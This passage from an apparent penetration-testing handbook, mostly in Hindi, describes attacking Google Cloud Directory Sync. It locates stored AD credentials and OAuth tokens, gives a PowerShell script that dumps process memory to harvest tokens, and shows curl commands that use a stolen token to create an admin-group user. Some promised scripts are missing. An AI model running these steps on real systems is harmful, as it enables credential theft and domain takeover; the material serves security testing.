यह एक उपकरण है जिसका उपयोग आपके सक्रिय निर्देशिका उपयोगकर्ताओं और समूहों को आपके Workspace के साथ समन्वयित करने के लिए किया जा सकता है (और इस लेखन के समय इसके विपरीत नहीं)।
यह दिलचस्प है क्योंकि यह एक उपकरण है जिसे Workspace सुपरयूजर और विशेषाधिकार प्राप्त AD उपयोगकर्ता के क्रेडेंशियल्स की आवश्यकता होगी। इसलिए, यह संभव है कि इसे एक डोमेन सर्वर के अंदर पाया जा सके जो समय-समय पर उपयोगकर्ताओं को समन्वयित कर रहा हो।
To perform a MitM to the config-manager.exe binary just add the following line in the config.manager.vmoptions file: -Dcom.sun.net.ssl.checkRevocation=false
Note that Winpeas is capable to detect GCDS, get information about the configuration and even the passwords and encrypted credentials.
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड समन्वयित नहीं करेगा। यदि कुछ होगा तो यह बस Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
GCDS - Disk Tokens & AD Credentials
बाइनरी config-manager.exe (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से xml फ़ाइल में C:\Program Files\Google Cloud Directory Sync फ़ोल्डर में Untitled-1.xml नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के Documents में या किसी अन्य फ़ोल्डर में भी सहेजा जा सकता है।
इसके अलावा, रजिस्ट्री HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui के अंदर कुंजी open.recent हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे खोजने के लिए जांचना संभव है।
नोट करें कि उपयोगकर्ता का refreshtoken और passwordAES CBC का उपयोग करके एक यादृच्छिक रूप से उत्पन्न कुंजी और IV के साथ encrypted हैं, जो HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util में संग्रहीत हैं (जहां भी prefs Java पुस्तकालय प्राथमिकताएँ संग्रहीत करता है) स्ट्रिंग कुंजी /Encryption/Policy/V2.iv और /Encryption/Policy/V2.key में base64 में संग्रहीत हैं।
Powershell script to decrypt the refresh token and the password
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
ध्यान दें कि इस जानकारी की जांच करना संभव है **`DirSync.jar`** के जावा कोड को **`C:\Program Files\Google Cloud Directory Sync`** में `exportkeys` स्ट्रिंग को खोजकर (क्योंकि यह वह cli पैरामीटर है जिसे बाइनरी `upgrade-config.exe` कुंजी को डंप करने के लिए अपेक्षित करता है)।
</div>
पॉवरशेल स्क्रिप्ट का उपयोग करने के बजाय, बाइनरी **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** का उपयोग करना भी संभव है जिसमें पैरामीटर `-exportKeys` है और रजिस्ट्री से **Key** और **IV** को हेक्स में प्राप्त करें और फिर बस कुछ साइबरशेफ का उपयोग करें AES/CBC और उस कुंजी और IV के साथ जानकारी को डिक्रिप्ट करने के लिए।
### GCDS - मेमोरी से टोकन डंप करना
GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS के मुख्य बाइनरी का नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं।
<details>
<summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना
रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:
ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध नहीं कर सकते क्योंकि आप केवल उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं।
इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
डिफ़ॉल्ट रूप से GCSD के पास उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें refresh_token के साथ access_token उत्पन्न करने के लिए उपयोग किया जा सकता है:
#### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
नए उपयोगकर्ता को सुपर एडमिन भूमिका देना संभव नहीं है क्योंकि रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं।